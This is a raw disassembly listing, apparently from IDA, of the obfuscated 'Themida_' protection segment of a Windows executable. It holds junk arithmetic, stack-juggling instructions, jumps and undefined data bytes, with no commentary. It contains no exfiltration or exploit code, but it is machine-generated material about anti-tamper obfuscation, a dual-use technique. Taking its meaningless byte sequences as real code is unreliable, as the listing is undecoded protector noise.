; ---------------------------------------------------------------------------


loc_56BC2D:				; CODE XREF: Themida_:00569E16j
		add	ebx, 3E527632h
		sub	ebx, edi
		sub	ebx, 3E527632h
		push	ebp
		mov	ebp, 25B47842h
		shl	ebp, 1
		add	ebp, 43083F8Dh
		shl	ebp, 4
		shl	ebp, 1
		push	edi
		mov	edi, 27F76C67h
		or	edi, 4E731F82h
		neg	edi
		jmp	loc_568CC5
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 2
		dd 31240433h, 0AAE92404h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC6F:				; CODE XREF: Themida_:00572543j
		push	edx
		mov	edx, 966832h
		inc	edx
		shr	edx, 8
		shr	edx, 2
		jmp	loc_5747E2
; ---------------------------------------------------------------------------
		db 68h,	0C3h, 12h
		dd 1C890000h, 0E6895624h, 4C681h, 0A0E90000h
		db 8Eh,	2 dup(0FFh)
byte_56BC97	db 66h			; DATA XREF: Themida_:0055FDBCo
		dd 0E924048Bh, 0FFFFDA0Fh
; ---------------------------------------------------------------------------


loc_56BCA0:				; CODE XREF: Themida_:00561311j
		xchg	ebx, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		sub	ecx, 57E1534Eh
		add	ecx, eax
		add	ecx, 57E1534Eh
		pop	eax
		push	edx
		push	eax
		mov	eax, 455D5A6Ah
		mov	edx, 78B57BABh
		xor	edx, eax
		jmp	loc_57154D
; ---------------------------------------------------------------------------


loc_56BCCC:				; CODE XREF: Themida_:0056D2BAj
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56A920
; ---------------------------------------------------------------------------


loc_56BCF1:				; CODE XREF: Themida_:0057056Aj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5659D2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFCC64E9h, 240C89FFh, 78C3E954h,	3C89FFFFh, 6C1EE924h
		db 2 dup(0FFh)
word_56BD36	dw 0D568h		; DATA XREF: Themida_:0055FD80o
		dd 89000076h, 0E9502434h, 80DAh, 0E904EC83h, 0FFFF8945h
; ---------------------------------------------------------------------------


loc_56BD4C:				; CODE XREF: Themida_:00562071j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_57529E
		sub	esp, 4
		jmp	loc_56563A
; ---------------------------------------------------------------------------
byte_56BD61	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:0055FE88o
		dd 8C7FE99Ch, 0D8300000h, 0E963B753h, 0FFFFC161h, 0D6F673B6h
		dd 0E941C680h, 0FFFFA3D1h, 48BC589h, 7197E924h,	0DBF70000h
		dd 72E94B43h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BD93:				; CODE XREF: Themida_:005695E7j
		xor	ebx, 631F71B1h
		jmp	loc_56F928
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 4F1C6CF0h, 0B6AAEB81h, 0DE899E6Fh, 0FF700AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BDB1:				; CODE XREF: Themida_:00573BE7j
		pop	esp
		add	esp, 4
		push	5403h
		mov	[esp], ecx
		jmp	loc_57232B
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28300h, 0E9241487h, 0FFFF8619h, 3170EB81h, 48B7134h
		dd 4C48324h, 2A26E9h, 0E3895300h, 4C381h, 0BA520000h, 4
		dd 0FFE9D301h, 0C1FFFF4Dh, 8E906E0h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BE07:				; CODE XREF: Themida_:0056A249j
		push	5448h
		mov	[esp], edx
		mov	edx, 5E050C6h
		or	edi, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_569694
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2303E904h, 14890000h, 6BD7BA24h, 0DBBF1610h,	5216106Bh
		dd 405CEEBAh, 1CEA816Ch, 29660B1Ah, 0D7295AD7h,	42D2C781h
		dd 34FF0635h, 24148B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		sub	dword ptr [esp+4], 13C935A6h
		add	[esp+4], edi
		jmp	loc_565ABF
; ---------------------------------------------------------------------------


loc_56BE87:				; CODE XREF: Themida_:00567FA7j
		neg	edx
		shr	edx, 2
		add	edx, 42CF5A6Ch
		add	ebx, edx
		pop	edx
		add	ebx, 0F29CBDB0h
		sub	edx, ebx
		mov	ebx, [esp]
		jmp	loc_572EE4
; ---------------------------------------------------------------------------


loc_56BEA5:				; CODE XREF: Themida_:0056A363j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_570C2D
; ---------------------------------------------------------------------------
		dd 4C781h, 0AFE90000h, 1000066h, 69C181F1h, 5252B20Bh
		dd 5B1FE9h, 4C68100h, 81000000h, 4EEh, 24348700h, 241C895Ch
		dd 0C3815B54h, 4, 4BF57h, 0FB010000h, 74FF535Fh, 8F5B0424h
		dd 248B2404h, 0E0895024h, 405h,	4E88300h, 5C240487h, 53242C89h
		dd 0CC384CBBh, 1EE4E94Dh, 2FB90000h, 0E998BCD1h, 0FFFF52AAh
		dd 4C481h, 2C870000h, 2434FF24h, 0E089505Dh, 4BE56h, 8680000h
		dd 89000034h, 0BAB9240Ch, 29586952h, 240C8BC8h,	0FFDBB6E9h
		dd 4E981FFh, 87000000h,	895C240Ch, 74FF243Ch, 34FF0424h
		dd 9D58E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BF6A:				; CODE XREF: Themida_:005605C8j
		mov	ebp, 1D5E39C4h
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		jmp	loc_571BBA
; ---------------------------------------------------------------------------


loc_56BF79:				; CODE XREF: Themida_:0057538Fj
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		mov	[ecx], dl
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		push	dword ptr [esp]
		jmp	loc_56B4AA
; ---------------------------------------------------------------------------
		db 5, 0C6h, 2Bh
		dd 0D0293F2Bh, 2B2BC62Dh, 3C8B5A3Fh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_567442
; ---------------------------------------------------------------------------


loc_56BFBE:				; CODE XREF: Themida_:0056E4CFj
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5638EC
; ---------------------------------------------------------------------------
		db 80h
		dd 0D5F64CCDh, 8381F580h, 148904ECh, 8081B624h,	0E68096EEh
		dd 80D6F665h, 9E98BF6h,	5AFFFFD7h, 4C481h, 32E90000h, 83FFFFD1h
		dd 18E904C4h, 29FFFFE6h, 0BCC681D6h, 0E9113F4Ch, 6C58h
		dd 9F8AE957h, 0F301FFFFh, 0FF5F25E9h, 51EA81FFh, 13AC67Ch
		dd 51C281DAh, 0E93AC67Ch, 5ECAh, 4C481h, 0C4810000h, 4
		dd 0EC81C331h, 4, 89240489h, 0DAE953E0h, 8100004Ch, 4C4h
		dd 4C18300h, 6836E9h, 9DB85000h, 19F0453h, 0EB0158C5h
		dd 243C8B5Dh, 0FFC5B9E9h, 0F9E948FFh, 8100000Ch, 0A1037FEEh
		dd 3FEE817Eh, 0E9241397h, 0FFFFC558h, 5C4BE56h,	814E5089h
		dd 6E45EFF6h, 0A3CE816Dh, 0E95DAB21h, 0FFFFDD05h
; ---------------------------------------------------------------------------


loc_56C098:				; CODE XREF: Themida_:00567E5Fj
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	ebp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5609B5
; ---------------------------------------------------------------------------
		db 8Fh
		dd 895C2404h, 0ECB7241Ch, 0FF78CEE9h, 525F54FFh, 4BAh
		dd 0E9D70100h, 0FFFFCF97h, 7CFDE941h, 5066FFFFh, 3EC9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C0D6:				; CODE XREF: Themida_:0057190Dj
		pop	ebx
		jmp	loc_56232F
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 1036E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C0ED:				; CODE XREF: Themida_:0056B737j
		push	eax
		jmp	loc_571CFB
; ---------------------------------------------------------------------------


loc_56C0F3:				; CODE XREF: Themida_:00573B2Aj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		jmp	loc_565F6F
; ---------------------------------------------------------------------------
		dd 0F658E188h, 80F986D7h, 0C1FE66C1h, 0FFF224E9h, 5EF189FFh
		dd 0BDE9CA29h, 5A000092h, 189DE9h, 0B2E95C00h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C133:				; CODE XREF: Themida_:0056CE7Dj
		push	edx
		mov	edx, 156B5F77h
		jmp	loc_571F45
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0BD52E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C146:				; CODE XREF: Themida_:00566536j
		add	[esp+4], edi
		add	dword ptr [esp+4], 78D93E6Dh
		pop	edi
		jmp	loc_56EAF1
; ---------------------------------------------------------------------------
		dd 0E0895058h, 405h, 56806800h,	1C890000h, 4BB24h, 0B42D0000h
		dd 2937D33Dh, 3DB405D8h, 0E95B37D3h, 0FFFF845Fh, 404C483h
		dd 2CF8286Ch, 66212C6Ch, 0E9241C8Bh, 0FFFF9C91h, 0EC81A5B0h
		dd 4, 0FFA61BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C1A1:				; CODE XREF: Themida_:005697BBj
		mov	esi, 1F334BE2h
		add	esi, 0F4DFFEABh
		add	ebp, 40300041h
		add	ebp, esi
		jmp	loc_56F50F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 4EC81h, 3C890000h, 0E5F3E924h, 0EB81FFFFh
		dd 4FA56F58h, 0C381D301h, 4FA56F58h, 74FF535Ah,	1C8B0424h
		dd 4C48324h, 0E924048Fh, 2F1Ch
; ---------------------------------------------------------------------------


loc_56C1F0:				; CODE XREF: Themida_:00563328j
		xor	ecx, 41101E33h
		add	eax, ecx
		jmp	loc_57284D
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 0E958C629h, 0FFFFFE67h
; ---------------------------------------------------------------------------


loc_56C208:				; CODE XREF: Themida_:0056DC4Ej
		mov	esi, 285F4BF7h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 344905B3h
		add	esi, 31FF0A8Ah
		sub	esi, 3DBF2D46h
		jmp	loc_56736E
; ---------------------------------------------------------------------------
		db 66h,	0D3h, 4
		dd 6CE99C24h
		db 3Dh,	2 dup(0FFh)
byte_56C233	db 0FFh			; DATA XREF: Themida_:0055FDF4o
		dd 34FF2434h, 24148B24h, 26DFE9h, 24248B00h, 9C240420h
		dd 0FF3D52E9h, 2434FFFFh, 582434FFh, 4C481h, 0EC830000h
		dd 24048904h, 4119E954h, 3C89FFFFh, 24348124h, 22E12803h
		dd 3F6815Eh, 5F22E128h,	15FFE01h, 0C3E959CEh
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C283:				; CODE XREF: Themida_:00560932j
		push	dword ptr [esp+4]
		jmp	loc_575103
; ---------------------------------------------------------------------------
aIVsC		db '‰,$Vé',27h,'C',0
		db 0
; ---------------------------------------------------------------------------


loc_56C295:				; CODE XREF: Themida_:00566F0Aj
		push	ebp
		sub	esp, 4
		jmp	loc_570601
; ---------------------------------------------------------------------------
aASps		db '€ÃÞ鯑',0
		align 2
		dw 0F751h
		dd 52592414h, 0FF5B12E9h, 242489FFh, 4240481h, 8B000000h
		dd 0C4832404h, 40504h, 0C0830000h, 24043304h, 33240431h
		dd 248B2404h, 89FEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C2DA:				; CODE XREF: Themida_:0056E2A1j
		pop	eax
		add	ecx, 5C590112h
		add	ecx, esi
		sub	ecx, 5C590112h
		pop	esi
		push	edx
		push	eax
		mov	eax, 8F4328Bh
		sub	eax, 8E76E86Dh
		jmp	loc_571958
; ---------------------------------------------------------------------------


loc_56C2FB:				; CODE XREF: Themida_:0056B0B0j
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_56982C
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 773EFAC3h, 50C38164h, 8178E730h, 927500EBh, 8FEBE9CFh
		dd 89570000h, 4BB53E7h,	1000000h, 0A321E9DFh, 248BFFFFh
		dd 240CFE24h, 3C61E99Ch, 405FFFFh, 83000000h, 48704E8h
		dd 14895C24h, 81E28924h, 4C2h, 4B95100h, 81000000h, 0CA5F60EAh
		dd 81CA2911h, 0CA5F60C2h, 14875911h, 24248B24h,	0E9241489h
		dd 0FFFFF8A0h, 8124148Bh, 4C4h,	5EF20100h, 2474FF52h, 65E95A04h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C38F:				; CODE XREF: Themida_:0056CDC6j
		push	ebx
		mov	ebx, 364F0266h
		add	ebx, 14AA27DCh
		add	ebx, 6A83DD8h
		sub	ebx, 5075F3C5h
		or	edx, ebx
		pop	ebx
		shl	edx, 6
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	ecx
		push	6D0607C2h
		jmp	loc_57269B
; ---------------------------------------------------------------------------
aYhaf		db 'YhAF',0
		dd 240C8900h, 0EF88F588h, 0E9240C8Bh, 0FFFFE1C4h
; ---------------------------------------------------------------------------


loc_56C3D4:				; CODE XREF: Themida_:0057219Fj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_57516F
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 83242C89h, 248904ECh, 4BB5324h, 1000000h,	5B04245Ch
		dd 81242C8Bh, 4C4h, 4C58100h, 52000000h, 4BAh, 86AFE900h
		dd 0C89FFFFh, 1D74B924h, 0CD310AD4h, 442C6859h,	14890000h
		dd 766FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C42E:				; CODE XREF: Themida_:00564073j
		xor	al, dl
		jmp	loc_560950
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 83000000h, 2C8704C5h, 24248B24h, 0CBF780h, 89045BF8h
		dd 892CD828h, 0E904EC83h, 0FFFFBAC7h
; ---------------------------------------------------------------------------


loc_56C458:				; CODE XREF: Themida_:0056D9A5j
		mov	[esp], eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5715A7
; ---------------------------------------------------------------------------
dword_56C474	dd 8B2434FFh, 68532404h, 385Ah,	68242489h, 36AAh, 7ADDE9h
					; DATA XREF: Themida_:0055FF08o
		dd 4EC8100h, 89000000h,	6DB9240Ch, 0C157602Bh, 0E98108E9h
		dd 1BE33D23h, 0C181D9F7h, 54520A17h, 85BAE981h,	0BA521BD0h
		dd 6C832D9Fh, 148BD131h, 4C48324h, 72071B05h, 2DC82953h
		dd 5372071Bh, 0FF2434FFh, 5AE92434h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C4D7:				; CODE XREF: Themida_:00564180j
		or	edx, esi
		pop	esi
		dec	edx
		push	ecx
		push	edx
		mov	edx, 7AC5700h
		dec	edx
		xor	edx, 2BC4B57h
		mov	ecx, edx
		pop	edx
		xor	edx, ecx
		jmp	loc_566986
; ---------------------------------------------------------------------------


loc_56C4F3:				; CODE XREF: Themida_:0056D36Aj
		mov	edx, 7EE91CBDh
		xor	esi, edx
		jmp	loc_573AA8
; ---------------------------------------------------------------------------
		db 55h
		dd 0FE314ABDh, 0CD814524h, 260F0C09h, 5FDFE9h, 78596800h
		dd 2D59404Bh, 14985F36h, 0D2D1E2Dh, 53C80140h, 9662168h
		dd 0B8ECE931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C52E:				; CODE XREF: Themida_:0056BBDEj
		mov	esi, 3A175949h
		push	ecx
		mov	ecx, 524D3C39h
		sub	esi, ecx
		jmp	loc_56CAE8
; ---------------------------------------------------------------------------
		dd 295BD989h, 0C18159CEh, 65DF5821h, 15E9F101h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C553:				; CODE XREF: Themida_:0056103Bj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57346C
; ---------------------------------------------------------------------------


loc_56C561:				; CODE XREF: Themida_:005682F9j
		mov	ebx, 57AF4918h
		jmp	loc_572768
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4413697Fh, 815BD931h, 7F6766F1h, 4666E90Eh, 0C481FFFFh
		dd 4, 6B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C589:				; CODE XREF: Themida_:0056A5D1j
		push	edx
		push	ebp
		mov	ebp, 0A4465DEh
		push	32C9124Eh
		mov	edx, [esp]
		add	esp, 4
		add	edx, 51A900D5h
		jmp	loc_564AE1
; ---------------------------------------------------------------------------
		dd offset dword_53A058+210h
		dw 8900h
		dd 0E389241Ch, 4C381h, 0BA520000h, 4, 0FFFC0DE9h, 2414F7FFh
		dd 658FE9h, 2F673500h, 0C3897F36h, 0FFB00DE9h, 476BAFFh
		dd 0DA011630h, 0FFD937E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C5E1:				; CODE XREF: Themida_:00562534j
		not	dword ptr [esp]
		pop	ebp
		push	ebx
		push	ebp
		pop	ebx
		pop	ebp
		xchg	ebx, esi
		inc	esi
		jmp	loc_56830D
; ---------------------------------------------------------------------------
		db 31h,	0CAh, 0E9h
		dd 0FFFF708Bh
; ---------------------------------------------------------------------------


loc_56C5F8:				; CODE XREF: Themida_:0056E888j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_569BCA
; ---------------------------------------------------------------------------


loc_56C60A:				; CODE XREF: Themida_:0057197Bj
		mov	edi, 66F42050h
		add	[esp+4], edi
		jmp	loc_570855
; ---------------------------------------------------------------------------
		dd 0D3B55152h, 0FFC371E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C621:				; CODE XREF: Themida_:0056EC1Cj
		push	eax
		mov	eax, 4
		add	edx, 3A8769D3h
		add	edx, eax
		sub	edx, 3A8769D3h
		pop	eax
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 9340293h
		shl	esi, 6
		shl	esi, 3
		inc	esi
		sub	esi, 680525FDh
		add	eax, esi
		pop	esi
		jmp	loc_5626D6
; ---------------------------------------------------------------------------
		db 31h,	0CFh, 8Bh
		dd 3AE9240Ch, 66FFFF61h, 660CD8BEh, 0E6816646h,	74E9401Ah
		dd 81FFFFCCh, 1A2EF3C1h, 8506E979h, 5A66FFFFh, 8601EB80h
		dd 64B050D9h, 412CA72Ch, 4107E9h, 0F7D9F700h, 0B9E981D9h
		dd 2950470Eh, 3D6859CBh, 89000031h, 6C682414h, 89000042h
		dd 6DBB241Ch, 0C1619F46h, 0EC8306E3h, 241C8904h, 5B241CF7h
		dd 6579E381h, 0F3814CFAh, 172E2B0Eh, 8904EC83h,	14F7241Ch
		dd 0EB815B24h, 6E1D42B6h, 89D98951h, 0DEE959CAh, 0FFFFFF7Ch
		dd 0FF042474h, 0E95F2434h, 0FFFFF6F1h, 0DA0DD0F7h, 0C13C4D1Fh
		dd 0CF2D03E8h, 9C81F48h, 0EAC158C2h, 14875205h,	52D2F724h
		dd 42474FFh, 24048F5Ah,	0E92434FFh, 0FFFFF8C3h,	4C481h
		dd 89680000h, 89000064h, 68B82404h, 543481Ah, 0BCB7E59Ch
		dd 48E468h, 24148900h, 367AF6BAh, 0B6F2814Dh, 0E95ACA30h
		dd 0FFFFC057h, 6CD2EB81h, 4FE963A3h, 68FFFF6Ah,	179Ch
		dd 4323E9h, 5AD12100h, 0FFFB35E9h, 2434FFFFh, 8744E95Fh
		dd 0C781FFFFh, 4, 0FFE8F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C785:				; CODE XREF: Themida_:0056B4B8j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56AC8E
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 1921E924h, 56530000h, 0FF9D43E9h
		dd 6CEB81FFh, 5F1F9034h, 61B5BD55h, 0C58136DCh,	0A06195Ah
		dd 665DEB01h, 0D0E930FFh, 59FFFF37h, 0DF98E956h, 248BFFFFh
		dd 8BD02124h, 58682414h, 89000064h, 0A7E9240Ch
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C7EB:				; CODE XREF: Themida_:0056716Ej
		pop	esp
		jmp	loc_56DAA9
; ---------------------------------------------------------------------------
		db 5, 90h, 61h
		dd 0F0293432h, 3261902Dh, 0D8015E34h, 770CE505h, 0F3E95B31h
		dd 5CFFFFCEh, 34FFCB29h, 0B5E95924h, 0BEFFFF51h, 8AD62B2h
		dd 0E906E6C1h, 0FFFF7AE3h
; ---------------------------------------------------------------------------


loc_56C824:				; CODE XREF: Themida_:00573ABAj
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_56EE8A
; ---------------------------------------------------------------------------


loc_56C83E:				; CODE XREF: Themida_:00565686j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		push	4
		pop	ebx
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5690C5
; ---------------------------------------------------------------------------


loc_56C862:				; CODE XREF: Themida_:0056E8D1j
		push	1C706EF9h
		pop	edx
		sub	edi, edx
		mov	edx, [esp]
		jmp	loc_563824
; ---------------------------------------------------------------------------


loc_56C872:				; CODE XREF: Themida_:00574891j
		xor	edx, 6D704CB3h
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_561BAE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2EE9243Ch
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C88B:				; CODE XREF: Themida_:00562336j
		push	eax
		jmp	loc_56A9EE
; ---------------------------------------------------------------------------


loc_56C891:				; CODE XREF: Themida_:0056FE32j
		xor	edx, 210E6A74h
		jmp	loc_566C6B
; ---------------------------------------------------------------------------


loc_56C89C:				; CODE XREF: Themida_:005694F4j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_57529E
; ---------------------------------------------------------------------------


loc_56C8B0:				; CODE XREF: Themida_:0057469Aj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5743F3
; ---------------------------------------------------------------------------


loc_56C8CE:				; CODE XREF: Themida_:00560688j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5721BB
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 92AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56C8E9:				; CODE XREF: Themida_:00571CDEj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shr	esi, 3
		push	ecx
		mov	ecx, 0B5C2623h
		add	esi, ecx
		jmp	loc_567584
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 0E95FF901h, 1EE2h
; ---------------------------------------------------------------------------


loc_56C910:				; CODE XREF: Themida_:00561647j
		pop	esp
		push	674Ch
		mov	[esp], ebx
		mov	ebx, 47A2B0Ch
		add	ebx, 1
		jmp	loc_5657CF
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0E9D7015Ch, 3397h, 14B9C281h, 0CA8110A6h, 57E6075Eh
		dd 1B07EA81h, 0C681A7B8h, 768C4A0Fh, 38E9D629h,	5FFFF39h
		dd 4, 0FFCAABE9h, 8BD129FFh, 0C4812414h, 4, 50BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_56C96D:				; CODE XREF: Themida_:005619AAj
		mov	esi, esp
		push	eax
		jmp	loc_56B1E4
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4EC81h, 14890000h, 4BA24h, 54010000h, 0E95A0424h, 0FFFF57C1h
		dd 5E2434FFh, 5304C483h, 4EC81h, 24890000h, 0B8505324h
		dd 7F362F63h, 0FFFC1CE9h, 22C781FFh, 891EB84Ah,	0E8015FFDh
		dd 5D2434FFh, 81E28952h, 4C2h, 9FDAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C9CA:				; CODE XREF: Themida_:0056A9E9j
		dec	edx
		dec	edx
		xor	edx, 50531B8Dh
		jmp	loc_57536E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9BEE81D6h, 0E9D7FFB3h, 3DCFh, 81242C8Bh, 4C4h, 25256800h
		dd 1C890000h, 367BE924h, 0E7800000h, 6E64E949h
		db 2 dup(0FFh)
word_56CA02	dw 77FFh		; DATA XREF: Themida_:0055FF38o
		dd 59669D1Ch, 9C241CD3h, 0FF358EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CA11:				; CODE XREF: Themida_:00574C87j
		sub	esi, 30C3134Ah
		pop	ebx
		sub	esp, 4
		jmp	loc_5601A8
; ---------------------------------------------------------------------------


loc_56CA20:				; CODE XREF: Themida_:0057447Cj
		add	esp, 4
		push	eax
		mov	eax, ebp
		mov	[edi+20h], eax
		jmp	loc_57528D
; ---------------------------------------------------------------------------


loc_56CA31:				; CODE XREF: Themida_:00569EEBj
		add	eax, edi
		sub	eax, 0C7C37FBh
		pop	edi
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_573F9D
; ---------------------------------------------------------------------------
		db 1
		dd 0A6B951EEh, 815F1344h, 6C6B30F1h, 0E9CE294Eh, 0FFFF903Dh
		dd 0B951D501h, 294C7FDFh, 42BA68h, 24348900h, 0FFB034E9h
		dd 8BD831FFh, 0EE9241Ch, 6800004Fh, 310F42EAh, 83240C8Bh
		dd 0D9F704C4h, 57D1F749h, 0CA4993BFh, 6CB9E92Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CAAA:				; CODE XREF: Themida_:005686E0j
		pop	esi
		sub	esi, 0E701ADBh
		jmp	loc_56616D
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 4C4815Ch,	53000000h, 0E40561BBh, 0D6DE92Bh
		dd 0C7800000h, 2E7C001h, 80FBC780h, 0EF8055CFh,	0D3B55101h
		dd 0E904EDC0h, 0FFFFD52Eh
; ---------------------------------------------------------------------------


loc_56CAE8:				; CODE XREF: Themida_:0056C53Bj
		pop	ecx
		xor	esi, 222D64A6h
		shl	esi, 4
		shl	esi, 7
		push	3349h
		mov	[esp], eax
		jmp	loc_56E289
; ---------------------------------------------------------------------------
aRith?r		db 'R‰âh?R',0
		align 2
		dw 1C89h
		dd 11A8BB24h, 0ACE97FA2h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CB17:				; CODE XREF: Themida_:00560057j
		mov	ebp, 34B36A59h
		not	ebp
		xor	ebp, 0C730A25Dh
		jmp	loc_569EE8
; ---------------------------------------------------------------------------
		db 68h,	82h, 7Fh
		dd 0C890000h, 0E9E18924h, 217Bh, 560D51BAh, 0DFF2815Bh
		dd 0F71FC969h, 0E9D2F7DAh, 635Ah
; ---------------------------------------------------------------------------


loc_56CB4C:				; CODE XREF: Themida_:005673D8j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_573B27
; ---------------------------------------------------------------------------


loc_56CB55:				; CODE XREF: Themida_:0056203Ej
		push	eax
		neg	dword ptr [esp]
		pop	eax
		or	eax, 3A830EBCh
		sub	eax, 3BCE9FAh
		sub	ebp, eax
		pop	eax
		sub	edx, ebp
		pop	ebp
		add	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		jmp	loc_572B1E
; ---------------------------------------------------------------------------
		dw 481h
		dd 333CD324h, 24042941h, 0D3242C81h, 0E941333Ch, 0FFFF97E6h
; ---------------------------------------------------------------------------


loc_56CB8C:				; CODE XREF: Themida_:0056457Dj
		xor	eax, 55792BD5h
		sub	eax, 95799FD5h
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 125423FAh
		and	edi, 4015563Ah
		add	edi, 0FFEBFDCAh
		add	eax, edi
		jmp	loc_571A78
; ---------------------------------------------------------------------------
		dw 34FFh
